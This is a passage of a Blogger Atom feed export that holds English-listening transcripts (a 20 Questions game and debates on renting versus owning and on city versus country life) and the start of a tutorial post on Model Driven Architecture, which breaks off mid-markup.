Yes.&lt;br /&gt;Brett: Is he an actor?&lt;br /&gt;Senum: No.&lt;br /&gt;Brett: Is he a singer?&lt;br /&gt;Senum: No.&lt;br /&gt;Brett: Is he a politician?&lt;br /&gt;Senum: Yes.&lt;br /&gt;Brett: Does he have white hair?&lt;br /&gt;Senum: Yes.&lt;br /&gt;Brett: Yes. Is he American?&lt;br /&gt;Senum: No.&lt;br /&gt;Brett: Is he British?&lt;br /&gt;Senum: No.&lt;br /&gt;Brett: Is he Australian?&lt;br /&gt;Senum: Yes.&lt;br /&gt;Brett: Is he your Prime Minister?&lt;br /&gt;Senum: He is.&lt;br /&gt;Brett: Is he John Howard?&lt;br /&gt;Senum: Yes, he is. Well done. &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-249110518852703624?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/249110518852703624/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/553-20-questions-senem-and-brett-play.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/249110518852703624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/249110518852703624'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/553-20-questions-senem-and-brett-play.html' title='#553 20 Questions - Senem and Brett play the game 20 Questions'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-1191783675028568350</id><published>2007-09-14T21:34:00.000+07:00</published><updated>2007-09-14T21:34:10.415+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#552 Rent or Own - Mark and Todd debate renting vs. owning</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/552Q-Mark-HomeRent.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/552Q-Mark-HomeRent.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Type your summary here&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: So Mark, you are going back to America. (Yes) Man, where are you going to live when you go back?&lt;br /&gt;&lt;br /&gt;Mark: Well, temporarily, I'll stay at my parents in Birmingham, Alabama.&lt;br /&gt;&lt;br /&gt;Todd: OK, and where're you gonna live after that?&lt;br /&gt;&lt;br /&gt;Mark: Well, I'm not sure. I might move down to South Florida. Florida is kind of my second home, and, yeah, I'd like to actually one day, get a house down there.&lt;br /&gt;&lt;br /&gt;Todd: Oh, really.&lt;br /&gt;&lt;br /&gt;Mark: Yeah.&lt;br /&gt;&lt;br /&gt;Todd: You're just going to buy a house?&lt;br /&gt;&lt;br /&gt;Mark: Well, I'd like to someday. I mean, I prefer to own my own home instead of always renting an apartment somewhere.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, but see, I think it's better to rent, cause you know, when you rent a house, you don't have to worry about losing your job, or if you have to relocate. You don't have to worry about if there's a natural disaster, and in Florida you seem to love those hurricanes down there.&lt;br /&gt;&lt;br /&gt;Mark: That's definitely true.&lt;br /&gt;&lt;br /&gt;Todd: You know.&lt;br /&gt;&lt;br /&gt;Mark: But there's something about owning your own house, that's just, this is my house but I'm renting. It's like someone else, you know, I mean someone else does own your house, and you know, there's that feeling of like, you depend on them, you know for lodging but if it's your house, you own it, then there's a sense of independency there.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, that true. That's a good point but on the other hand, I just love my free time, and when you rent, you just got more free time. You know when you own a house. You have to do maintenance. You have to do all the paperwork for taxes, and you know, city government stuff, like that. When you rent it's just really easy.&lt;br /&gt;&lt;br /&gt;Mark: Well, you know, the maintenance stuff can be fun. It depends on how you look at it. Like, you know, if it's your house, you actually might be motivated to make it look better cause it's, you take pride in, you know, where you live and it's your house, and what do you do in your free time anyway? Like what do you do in your free times?&lt;br /&gt;&lt;br /&gt;Todd: What do I do in my free time?&lt;br /&gt;&lt;br /&gt;Mark: Yeah.&lt;br /&gt;&lt;br /&gt;Todd: Well, I don't fix pipes and work on plumbing and garden, that's for sure.&lt;br /&gt;&lt;br /&gt;Mark: But, well, but why not? I mean.&lt;br /&gt;&lt;br /&gt;Todd: Good point. That's true. &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-1191783675028568350?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/1191783675028568350/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/552-rent-or-own-mark-and-todd-debate.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/1191783675028568350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/1191783675028568350'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/552-rent-or-own-mark-and-todd-debate.html' title='#552 Rent or Own - Mark and Todd debate renting vs. owning'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-1153858963648976733</id><published>2007-09-14T20:48:00.000+07:00</published><updated>2007-09-14T20:48:59.237+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#551 City or Countryside - Mark and Todd debate the city and the country</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" height="400" width="500"&gt;&lt;br /&gt;     &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/551Q-Mark-CityCountry.swf"&gt;&lt;br /&gt;     &lt;param name="quality" value="high"&gt;&lt;br /&gt;     &lt;embed src="http://elllo.org/Swiff0551-Old/551Q-Mark-CityCountry.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" height="400" width="500"&gt;&lt;/embed&gt;&lt;br /&gt;   &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: So, Mark, I heard that you are going to be leaving Tokyo pretty soon.&lt;br /&gt;&lt;br /&gt;Mark: I am. I'm getting out of the city.&lt;br /&gt;&lt;br /&gt;Todd: Ah, man, so when you go back to America are you going to live in a big city like Atlanta or Birmingham?&lt;br /&gt;&lt;br /&gt;Mark: Well, I from Birmingham, which is a kind of medium sized city, but there's a lot of access to the countryside, cause Birmingham is a medium sized city but Alabama is very rural, so lots of mountains, lots of countryside and I'm actually looking forward to getting into that setting again.&lt;br /&gt;&lt;br /&gt;Todd: Oh, man. I don't know dude. I grew up on a farm, and I lived way out in the country growing up, and I can't stand the country now.&lt;br /&gt;&lt;br /&gt;Mark: Really.&lt;br /&gt;&lt;br /&gt;Todd: Yeah. I've lived in big cities: San Francisco, London, Bangkok, Tokyo.&lt;br /&gt;&lt;br /&gt;Mark: But don't you miss like the, you know, fresh air, and the views. Don't you just tired of concrete jungles, and buildings and.&lt;br /&gt;&lt;br /&gt;Todd: Ah, that's true. I mean, when you're in the country, you have fresh air and you do have, you know, the beauty, and this and that, but it's just boring. It's the same five people.&lt;br /&gt;&lt;br /&gt;Mark: It is true, but actually I find it's harder to meet people in a big city, because there is so many people, so you're, nobody really cares to stop and talk to you because there is a million other people around, but if you're in a town, a small town, or out in the country, the few people you do meet, you form a good relationship with.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, that's somewhat true, but there's just no energy. You know the countries slow. You can't just go to any restaurant at any time, you can't, you know, go see a museum, or go see a ball game or go to a nightclub and it's a just a lot of sitting around.&lt;br /&gt;&lt;br /&gt;Mark: Well, that's true and, if I do, every time I go back to the country, I always miss those things, like a museum, and you know, concerts and things like that, but I'm just able to relax so much more when I'm out in a rural setting.&lt;br /&gt;&lt;br /&gt;Todd: Well, I hope you have a good time.&lt;br /&gt;&lt;br /&gt;Mark: Thanks.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-1153858963648976733?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/1153858963648976733/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/551-city-or-countryside-mark-and-todd.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/1153858963648976733'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/1153858963648976733'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/551-city-or-countryside-mark-and-todd.html' title='#551 City or Countryside - Mark and Todd debate the city and the country'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-1094556219794944368</id><published>2007-09-14T09:38:00.001+07:00</published><updated>2007-09-14T09:38:03.401+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Engineer'/><title type='text'>Model Driven Architecture - MDA</title><content type='html'>&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;Index:&lt;/span&gt;&lt;br /&gt;I. Overview&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;II. MDA Benefits&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;1&lt;/span&gt; Productivity&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2&lt;/span&gt; Portability&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3&lt;/span&gt; Interoperability&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4 Maintenance and Documentation&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;III. The Model Driven Architecture &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;1&lt;/span&gt; The MDA Development Life Cycle &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Platform Independent Model &lt;br /&gt;Platform Specific Model &lt;br /&gt;Code &lt;br /&gt;Raising the Level of Abstraction &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;2&lt;/span&gt; Automation of the Transformation Steps &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;IV. MDA Tools &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;V. Specifications &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;1 &lt;/span&gt;The Pervasive Services &lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2 &lt;/span&gt;Domain Facilities&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3&lt;/span&gt; MDA Applications &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;VI. Summary &lt;br /&gt;VII. Reference&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;/span&gt;&lt;h1 style="margin-left: 0in; text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420440"&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;span style=""&gt;I.&lt;span style=""&gt;        &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Overview&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style=""&gt;Model-Driven Architecture&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt; (MDA&lt;b&gt;™&lt;/b&gt;) is a &lt;a href="http://www.answers.com/topic/software-design" target="_top"&gt;&lt;span style="color:black;"&gt;software design&lt;/span&gt;&lt;/a&gt; approach that its sponsor, the &lt;a href="http://www.answers.com/topic/object-management-group" target="_top"&gt;&lt;span style="color:black;"&gt;Object Management Group&lt;/span&gt;&lt;/a&gt; (OMG), officially launched in &lt;a href="http://www.answers.com/topic/2001" target="_top"&gt;&lt;span style="color:black;"&gt;2001&lt;/span&gt;&lt;/a&gt;. MDA supports &lt;a href="http://www.answers.com/topic/model-driven-engineering" target="_top"&gt;&lt;span style="color:black;"&gt;model-driven engineering&lt;/span&gt;&lt;/a&gt; of software systems. MDA provides a set of guidelines for structuring specifications expressed as &lt;a href="http://www.answers.com/topic/computer-simulation-1" target="_top"&gt;&lt;span style="color:black;"&gt;models&lt;/span&gt;&lt;/a&gt;. The MDA approach defines system functionality using a &lt;a href="http://www.answers.com/topic/platform-independent-model" target="_top"&gt;&lt;span style="color:black;"&gt;platform-independent model&lt;/span&gt;&lt;/a&gt; (PIM) using an appropriate &lt;a href="http://www.answers.com/topic/domain-specific-programming-language" target="_top"&gt;&lt;span style="color:black;"&gt;Domain Specific Language&lt;/span&gt;&lt;/a&gt;. Then, given a &lt;span class="brokenlink"&gt;Platform Definition Model&lt;/span&gt; (PDM) corresponding to CORBA, DotNet, the Web, etc., the PIM is translated to one or more &lt;a href="http://www.answers.com/topic/platform-specific-model" target="_top"&gt;&lt;span style="color:black;"&gt;platform-specific models&lt;/span&gt;&lt;/a&gt; (PSMs) that computers can run, using different &lt;a href="http://www.answers.com/topic/domain-specific-programming-language" target="_top"&gt;&lt;span style="color:black;"&gt;Domain Specific Languages&lt;/span&gt;&lt;/a&gt;, or a &lt;a href="http://www.answers.com/topic/domain-specific-programming-language" target="_top"&gt;&lt;span style="color:black;"&gt;General Purpose Language&lt;/span&gt;&lt;/a&gt; like Java, C#, Python, etc. Automated tools generally perform these translations, for example tools compliant to the new &lt;a href="http://www.answers.com/topic/omg" target="_top"&gt;&lt;span style="color:black;"&gt;OMG&lt;/span&gt;&lt;/a&gt; standard named &lt;a href="http://www.answers.com/topic/qvt" target="_top"&gt;&lt;span style="color:black;"&gt;QVT&lt;/span&gt;&lt;/a&gt;. The OMG documents the overall process in a document called the &lt;span class="brokenlink"&gt;MDA Guide&lt;/span&gt;. MDA principles can also apply to other areas such as business process modeling where the PIM is translated to either automated or manual processes.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The MDA model is related to multiple standards, including the &lt;a href="http://www.answers.com/topic/unified-modeling-language" target="_top"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;Unified Modeling Language&lt;/span&gt;&lt;/a&gt; (UML), the &lt;a href="http://www.answers.com/topic/meta-object-facility" target="_top"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;Meta-Object Facility&lt;/span&gt;&lt;/a&gt; (MOF), the &lt;a href="http://www.answers.com/topic/xml-metadata-interchange" target="_top"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;XML Metadata interchange&lt;/span&gt;&lt;/a&gt; (XMI), &lt;a href="http://www.answers.com/topic/enterprise-distributed-object-computing" target="_top"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;Enterprise Distributed Object Computing&lt;/span&gt;&lt;/a&gt; (EDOC), the Software Process Engineering Metamodel (SPEM), and the &lt;a href="http://www.answers.com/topic/common-warehouse-metamodel" target="_top"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;Common Warehouse Metamodel&lt;/span&gt;&lt;/a&gt; (CWM). Note that the term “architecture” in Model-driven architecture does not refer to the architecture of the system being modeled, but rather to the architecture of the various standards and model forms that serve as the technology basis for MDA.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h1 style="margin-left: 0in; text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420857"&gt;&lt;/a&gt;&lt;a name="_Toc177420776"&gt;&lt;/a&gt;&lt;a name="_Toc177420441"&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;II.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;MDA Benefits&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;Let us now take a closer look at what application of MDA brings us in terms of improvement of the software development process.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2 style="text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420858"&gt;&lt;/a&gt;&lt;a name="_Toc177420777"&gt;&lt;/a&gt;&lt;a name="_Toc177420442"&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;1&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Productivity&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;In MDA the focus for a developer shifts to the development of a PIM. The PSMs that are needed are generated by a transformation from PIM to PSM. Of course, someone still needs to define the exact transformation, which is a difficult and specialized task. But such a transformation only needs to be defined once and can then be applied in the development of many systems. The payback for the effort to define a transformation is large, but it can only be done by highly skilled people.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The majority of developers will focus on the development of PIMs. Since they can work independently of details and specifics of the target platforms, there is a lot of technical detail that they do not need to bother with. These technical details will be automatically added by the PIM to PSM transformation. This improves the productivity in two ways.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;In the first place, the PIM developers have less work to do because platform-specific details need not be designed and written down; they are already addressed in the transformation definition. At the PSM and code level, there is much less code to be written, because a large amount of the code is already generated from the PIM.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The second improvement comes from the fact that the developers can shift focus from code to PIM, thus paying more attention to solving the business problem at hand. This results in a system that fits much better with the needs of the end users. The end users get better functionality in less time.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;Such a &lt;a name="idd1e2514"&gt;&lt;/a&gt;productivity gain can only be reached by the use of tools that fully automate the generation of a PSM from a PIM. Note that this implies that much of the information about the application must be incorporated in the PIM and/or the generation tool. Because the high-level model is no longer "just paper," but directly related to the generated code, the demands on the completeness and consistency of the high-level model (PIM) are higher than in traditional development. A human reading a paper model may be forgiving—an automated transformation tool is not.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2 style="text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420859"&gt;&lt;/a&gt;&lt;a name="_Toc177420778"&gt;&lt;/a&gt;&lt;a name="_Toc177420443"&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;2&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Portability&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;Within the MDA, &lt;a name="idd1e2540"&gt;&lt;/a&gt;portability is achieved by focusing on the development of PIMs, which are by definition platform independent. The same PIM can be automatically transformed into multiple PSMs for different platforms. Everything you specify at the PIM level is therefore completely portable.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The extent to which portability can be achieved depends on the automated transformation tools that are available. For popular platforms, a large number of tools will undoubtedly be (or become) available. For less popular platforms, you may have to use a tool that supports plug-in transformation definitions, and write the transformation definition yourself.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;For new technologies and platforms that will arrive in the future, the software industry needs to deliver the corresponding transformations in time. This enables us to quickly deploy new systems with the new technology, based on our old and existing PIMs.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2 style="text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420860"&gt;&lt;/a&gt;&lt;a name="_Toc177420779"&gt;&lt;/a&gt;&lt;a name="_Toc177420444"&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;3&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Interoperability&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;We have been incomplete regarding the overall MDA picture. As shown in &lt;a href="mk:@MSITStore:C:%5CDocuments%20and%20Settings%5CAdministrator%5CMy%20Documents%5CDownloads%5Caddison%20wesley%20-%20mda%20explained.%20the%20model%20driven%20architecture.chm::/032119442X_ch01lev1sec3.html#ch01fig04#ch01fig04"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;Figure 1&lt;/span&gt;&lt;/a&gt;, multiple PSMs generated from one PIM may have relationships. In MDA these are called &lt;a name="idd1e2579"&gt;&lt;/a&gt;bridges. When PSMs are targeted at different platforms, they cannot directly talk with each other. One way or another, we need to transform concepts from one platform into concepts used in another platform. This is what interoperability is all about. MDA addresses this problem by generating not only the PSMs, but the necessary bridges between them as well.&lt;a name="idd1e2590"&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h5 style="margin-left: 0in; text-align: center;" align="center"&gt;&lt;span style="font-size:100%;"&gt;Figure 1. MDA interoperability using bridges&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h5&gt;  &lt;p class="MsoNormal" style="text-align: center;" align="center"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_hQ8-u2sZpD0/Runx5EkJXfI/AAAAAAAAACw/OmoyTElXOxI/s1600-h/danglvhblog_022.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_hQ8-u2sZpD0/Runx5EkJXfI/AAAAAAAAACw/OmoyTElXOxI/s400/danglvhblog_022.jpg" alt="" id="BLOGGER_PHOTO_ID_5109881215008726514" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;If we are able to transform one PIM into two PSMs targeted at two platforms, all of the information we need to bridge the gap between the two PSMs is available. For each element in one PSM we know from which element in the PIM it has been transformed. From the PIM element we know what the corresponding element is in the second PSM. We can therefore deduce how elements from one PSM relate to elements in the second PSM. Since we also know all the platform-specific technical details of both PSMs (otherwise we couldn't have performed the PIM-to-PSM transformations), we have all the information we need to generate a bridge between the two PSMs.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;Take, for example, one PSM to be a Java (code) model and the other PSM to be a relational database model. For an element Customer in the PIM, we know to which Java class(es) this is transformed. We also know to which table(s) this Customer element is transformed. Building a bridge between a Java object in the Java-PSM and a table in the Relational-PSM is easy. To retrieve an object from the database, we query the table(s) transformed from Customer, and instantiate the class(es) in the other PSM with the data. To store an object, we find the data in the Java object and store it in the "Customer" tables.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;Cross-platform interoperability can be realized by tools that not only generate PSMs, but the bridges between them, and possibly to other platforms, as well. You can "survive" technology changes while preserving your investment in the PIM.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2 style="text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420861"&gt;&lt;/a&gt;&lt;a name="_Toc177420780"&gt;&lt;/a&gt;&lt;a name="_Toc177420445"&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;4&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Maintenance and Documentation&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;Working with the &lt;a name="idd1e2691"&gt;&lt;/a&gt;MDA life cycle, developers can focus on the PIM, which is at a higher level of abstraction than code. The PIM is used to generate the PSM, which in turn is used to generate the code. The model is an exact representation of the code. Thus, the PIM fulfills the function of high-level documentation that is needed for any software system.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The big difference is that the PIM is not abandoned after writing. Changes made to the system will eventually be made by changing the PIM and regenerating the PSM and the code. In practice today, many of the changes are made to the PSM and code is regenerated from there. Good tools, however, will be able to maintain the relationship between PIM and PSM, even when changes to the PSM are made. Changes in the PSM will thus be reflected in the PIM, and high-level documentation will remain consistent with the actual code.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;In the MDA approach the documentation at a high level of &lt;a name="idd1e2747"&gt;&lt;/a&gt;abstraction will naturally be available. Even at that level, the need to write down additional information, which cannot be captured in a PIM, will remain. This includes, for example, argumentation for choices that have been made while developing the PIM.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h1 style="margin-left: 0in; text-indent: 0in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span 